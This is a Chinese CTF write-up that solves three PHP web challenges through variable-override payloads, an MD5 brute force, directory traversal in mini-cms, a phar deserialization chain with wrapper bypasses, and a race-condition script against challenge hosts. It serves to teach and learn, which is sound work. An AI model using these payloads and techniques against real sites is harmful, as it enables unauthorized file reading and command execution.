前言 抽空看了一下DJB的题目,还是太菜了。这里把做出来的题以及没做出来的题梳理一下。
veryphp 打开环境,直接给了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );highlight_file (__FILE__ );include ("config.php" );class qwq { function __wakeup ( ) { die ("Access Denied!" ); } static function oao ( ) { show_source ("config.php" ); } } $str = file_get_contents ("php://input" );if (preg_match ('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is' ,$str )){ die ("I am sorry but you have to leave." ); } else { extract ($_POST ); } if (isset ($shaw_root )){ if (preg_match ('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/' , $shaw_root )&& strlen ($shaw_root )===29 ) { echo $hint ; } else { echo "Almost there." ."<br>" ; } } else { echo "<br>" ."Input correct parameters" ."<br>" ; die (); } if ($ans ===$SecretNumber ){ echo "<br>" ."Congratulations!" ."<br>" ; call_user_func ($my_ans ); }
这个题目考察的是变量覆盖,字符解析,类调用静态方法,爆破md5
[ 空格 + . 这几个符号会被解析成 _ , 因为这里过滤了下划线,我们就用以上符号来替代,然后这里的正则匹配 /^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/ 可以放到那个正则匹配分析的网站去分析 https://regexr-cn.com 随便找到一组符合的,并且要保证长度为29,我这里用的是 -a[<b>aa>>>>dabcphphphphp@Rss ,利用变量覆盖传参过去?shaw[root=-a[<b>aa>>>>dabcphphphphp@Rss,得到hint。
Here is a hint : md5(“shaw”.($SecretNumber).”root”)==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
写个脚本爆破一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlibfrom multiprocessing.dummy import Pool as ThreadPooldef md5 (s ): return hashlib.md5(str (s).encode('utf-8' )).hexdigest() s='shaw' +'21475' +'root' print (md5(s))for i in range (10000 ,100000 ): s='shaw' +str (i)+'root' s2=md5(s) if s2 =='166b47a5cb1ca2431a0edfcef200684f' : print (i) exit()
得到 $SecretNumber=21475 然后最后一步就是类调用静态函数 qwq::oao,得到flag。
最终的payload:shaw[root=-a[<b>aa>>>>dabcphphphphp@Rss&ans=21475&my[ans=qwq::oao
spaceman 也是给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );highlight_file (__FILE__ );class spaceman { public $username ; public $password ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } public function __wakeup ( ) { if ($this ->password==='ctfshowvip' ) { include ("flag.php" ); echo $flag ; } else { echo 'wrong password' ; } } } function filter ($string ) { return str_replace ('ctfshowup' ,'ctfshow' ,$string ); } $str = file_get_contents ("php://input" );if (preg_match ('/\_|\.|\]|\[/is' ,$str )){ die ("I am sorry but you have to leave." ); }else { extract ($_POST ); } $ser = filter (serialize (new spaceman ($user_name ,$pass_word )));$test = unserialize ($ser );?>
当时做的时候感觉应该是让我们字符串逃逸,但是在这里,可以直接让 username 为 ctfshowvip就行了,过滤了_ 、 . [ 、 我们可以用 +
payload:user+name=1&pass+word=ctfshowvip 拿到flag
虎山行 给的是一个框架mini-cms,当时是直接搜的,看能不能找到现成的洞,找到的基本都是XSS,就没继续了。
这个其实可以放到seay底下看一看,或者自己审计一下:(这里我用seay扫了一下, page-edit.php 第128行开始:
1 2 3 4 5 6 7 8 9 10 11 12 13 else if (isset ($_GET ['file' ])) { $file_path = '../mc-files/pages/data/' .$_GET ['file' ]; $data = (file_get_contents ($file_path )); $page_file = $data ['file' ]; $page_path = $data ['path' ]; $page_state = $data ['state' ]; $page_title = $data ['title' ]; $page_content = $data ['content' ]; $page_date = $data ['date' ]; $page_time = $data ['time' ]; $page_can_comment = isset ($data ['can_comment' ]) ? $data ['can_comment' ] : '1' ; echo $data ; }
这里的 file参数可控,并且没有经过任何过滤,直接拼接在 file_path 后面,我们可以尝试一下能不能目录穿越。
发现可以成功目录穿越,造成任意文件读取。
我们直接读取 /flag ,得到了提示:
flag{fuckflag*********}flag not here maybe You can access hsxhsxhsxctfshowsecretfilel directory,于是我们访问
hsxhsxhsxctfshowsecretfilel 这个目录,经过测试,其就在 /var/www/html下,于是我们直接访问http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/hsxhsxhsxctfshowsecretfilel/ 得到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );error_reporting (0 );include ('waf.php' );class Ctfshow { public $ctfer = 'shower' ; public function __destruct ( ) { system ('cp /hint* /var/www/html/hint.txt' ); } } $filename = $_GET ['file' ];readgzfile (waf ($filename ));?>
我们想尝试把 waf.php 的源码读出来,这里用到的方法和之前一样,目录穿越任意文件读取:
http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/mc-admin/page-edit.php?file=../../../../../../var/www/html/hsxhsxhsxctfshowsecretfilel/waf.php
读到源码:
1 2 3 4 5 6 7 8 9 <?php function waf ($file ) { if (preg_match ("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i" ,$file )){ die ("姿势太简单啦,来一点骚的?!" ); }else { return $file ; } }
因为类里面有一个destruct() 函数,所以可以联想到反序列化,有个文件上传的点,然后 readgzfile()这个函数是支持 phar的,所以我们可以传 phar。接下来就是读的时候,因为开头不能有phar,我们这里可以用 zlib://phar 来绕过
关于phar://的组合绕过开头还有以下几种方式:
1 2 3 4 5 compress.zlib://phar:// compress.zlib2://phar:// compress.bzip://phar:// compress.bzip2://phar:// php://filter/resource=phar://
我们本地来构造一个.phar文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Ctfshow { public $ctfer = 'shower' ; } $a = new Ctfshow ();$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("GIF89a" ."<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();?>
改一下生成 .phar文件的后缀,然后找到上传点进行上传,这里有一个地方就是上传路径需要我们推算一下,和纵横杯的那个一样,可以用在线网站进行转换,也可以用php函数转换:
1 2 3 4 <?php $filename =substr (md5 (strtotime ('Mon, 25 Jan 2021 08:25:25 GMT' )),0 ,8 );echo $filename ;?>
得到路径后,我们用zlib://phar 触发反序列化
http://2e3b0af9-9c87-4994-84b6-d05005279254.chall.ctf.show/hsxhsxhsxctfshowsecretfilel/?file=zlib:phar:///var/www/html/upload/2dab62b9.png 然后访问 hint.txt 后得到提示:
1 flag{fuckflag***}flag also not here You can access hsxctfshowsecretgetflagl directory
于是我们再去访问这个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source (__FILE__ );$unser = $_GET ['unser' ];class Unser { public $username ='Firebasky' ; public $password ; function __destruct ( ) { if ($this ->username=='ctfshow' &&$this ->password==(int )md5 (time ())){ system ('cp /ctfshow* /var/www/html/flag.txt' ); } } } $ctf =@unserialize ($unser );system ('rm -rf /var/www/html/flag.txt' );
根据题目控制好 username 和 password的值就可以,不过这里有一个条件竞争,我们用python写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import hashlibimport requestsimport timefrom multiprocessing.dummy import Pool as ThreadPooldef md5 (s ): return hashlib.md5(str (s).encode('utf-8' )).hexdigest() if __name__ == '__main__' : url="http://645aad1a-7078-49b1-b27b-146b570d396f.chall.ctf.show/hsxctfshowsecretgetflagl/" while True : x= md5(str (int (time.time()))) datas={'unser' :'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"' +x+'";}' } res=requests.get(url=url,params=datas)
然后我们访问 /var/www/html/flag.txt 就可以拿到flag了。
小结 虎山行这道题学到了很多,体验不错~